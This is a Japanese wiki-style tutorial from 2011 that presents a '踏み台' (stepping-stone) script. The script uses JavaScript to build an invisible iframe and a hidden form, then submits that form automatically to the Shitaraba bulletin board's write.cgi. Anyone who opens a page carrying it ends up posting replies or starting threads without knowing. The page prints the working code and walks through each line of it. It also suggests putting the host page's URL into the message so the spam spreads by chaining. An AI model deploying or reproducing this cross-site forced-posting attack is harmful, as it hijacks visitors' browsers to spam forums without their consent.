踏み台script
踏み台とは、この踏み台を設置したページにアクセスすると、javascriptによって自動的に書き込まれるシステムである。
有効な活用としては、踏み台のメッセージ内容のところに踏み台を設置したページのURLを乗せて、連続的に踏ませるというものがある。
<script language="javascript">
<!--
document.write("<iframe name=\"FrameName\" width=\"0\" height=\"0\"></iframe>");
document.write("<form name=\"FormName\" action=\"
http://jbbs.livedoor.jp/bbs/write.cgi/\" method=\"post\" target=\"FrameName\">");
document.write("<input type=\"hidden\" name=\"NAME\" value=\"名前欄\">");
document.write("<input type=\"hidden\" name=\"MAIL\" value=\"メール欄\">");
document.write("<input type=\"hidden\" name=\"MESSAGE\" value=\"メッセージ欄\">");
document.write("<input type=\"hidden\" name=\"DIR\" value=\"掲示板のジャンル\">");
document.write("<input type=\"hidden\" name=\"BBS\" value=\"掲示板の番地\">");
document.write("<input type=\"hidden\" name=\"KEY\" value=\"スレの番地\">");
document.write("</form>");
document.FormName.submit();
</script>
全ての基本の踏み台scriptの説明をしよう。
一行目、二行目
<script language="javascript">
<!--
は、これからjavascriptの文を書きますといったような宣言みたいなものである。これがなければscriptは始まらない。
三行目、
document.write("<iframe name=\"FrameName\" width=\"0\" height=\"0\"></iframe>");
document.writeは(" ");で囲まれた中身を表示するというものである。
この場合だと、
<iframe name=\"FrameName\" width=\"0\" height=\"0\"></iframe>
が表示されることになり、htmlの<iframe>が適用される。
これはサイズが縦横0(width=\"0\" height=\"0\)、つまり見えないインラインフレームを作るということである。
そして注意してほしいのが、name=\"FrameName\"の部分。ここは後々必要になるので必ず設定する。
javascriptでは、" "で囲まれたもので、さらにその中に"を使うときは"を使う前に\(バックスラッシュ)を使わなければならない。
四行目
document.write("<form name=\"FormName\" action=\"
http://jbbs.livedoor.jp/bbs/write.cgi/\" method=\"post\" target=\"FrameName\">");
は、htmlタグの<form>の設定で、これも三行目と同じく、document.writeでhtmlタグが表示されるようになっている。
ここで注意してほしいのが、ここの設定では必ず設定しなければならないものがある。
まずは「name」 これは、設定した内容を送信するさいに必要なので必須となる。
次に「action」 これは、したらばのCGIのURLを入れる必要がある。したらばのCGIのURLは
http://jbbs.livedoor.jp/bbs/write.cgi/である。
次に「method」 これは、送信する内容の形式を決めるものである。したらばでは「post」なのでpostと入れなければならない。
最後に「target」 これは、三行目で決めた、インラインフレームの名前を入れなければならない。
この場合だと、三行目がname=\"FrameName\"なのでここにもFrameNameと入れなければならない。
もちろんバックスラッシュも忘れずにする。
五-十一行目
document.write("<input type=\"hidden\" name=\"NAME\" value=\"名前欄\">");
document.write("<input type=\"hidden\" name=\"MAIL\" value=\"メール欄\">");
document.write("<input type=\"hidden\" name=\"MESSAGE\" value=\"メッセージ欄\">");
document.write("<input type=\"hidden\" name=\"DIR\" value=\"掲示板のジャンル\">");
document.write("<input type=\"hidden\" name=\"BBS\" value=\"掲示板の番地\">");
document.write("<input type=\"hidden\" name=\"KEY\" value=\"スレの番地\">");
document.write("</form>");
この部分は、htmlタグの<input>で送信する内容を設定して</form>で設定を終えるというものである。
type=\"hidden\"のhiddenとは送信する設定を見えなくさせるようなもので、
スクリプトを設置する側でしか送信する内容を設定できなくさせるものである。
そして、それぞれ名前が決まってて、したらばだと、
名前欄を設定するときはname=\"NAME\" そしてvalue=\"名前欄\"のところの、「名前欄」に書き込ませるときの名前を入れる。
メール欄を設定するときはname=\"MAIL\" そしてvalue=\"メール欄\"のところの、「メール欄」に書き込ませるときのメール欄の内容を入れる。
メッセージ欄を設定するときはname=\"MESSAGE\" そしてvalue=\"メッセージ欄\"のところの、「メッセージ欄」に書き込ませるときの内容を入れる。
メッセージ欄で、改行させたい場合は改行させる場所に「\n」を入れる。
これはスレにレスをさせるものだが、もしスレを立てさせるときは、
document.write("<input type=\"hidden\" name=\"KEY\" value=\"スレの番地\">");
の一列を削除して、かわりに
document.write("<input type=\"hidden\" name=\"SUBJECT\" value=\"スレのタイトル\">");
を入れる。
これはvalue=\"スレのタイトル\のスレのタイトルのところにたたせるスレのタイトルを入れる。
十二行目
document.FormName.submit();
は、今までの設定したものを送信させて書き込ませるというものである。
これで注意するとこは一つ、FormNameの部分である。
ここには四行目で設定したformの名前を入れなければならない。
この場合だと、四行目で、form name=\"FormName\"と設定したので、
十二行目に入れるのはFormNameとなり、document.FormName.submit();となる。
他のところをいじってしまうと送信されないので注意してほしい。
十三-十四行目
これはjavascriptの文を終了する宣言みたいなものなので、
これを忘れてしまうとこれよりしたのhtmlが全て適用されなくなるのでちゃんと入れているか確認してほしい。
以上が、踏み台スクリプトの仕組みである。
何かわからないことがあれば
ゆとり雑談掲示板のどこかに書き込んでほしい。
最終更新:2011年11月30日 19:42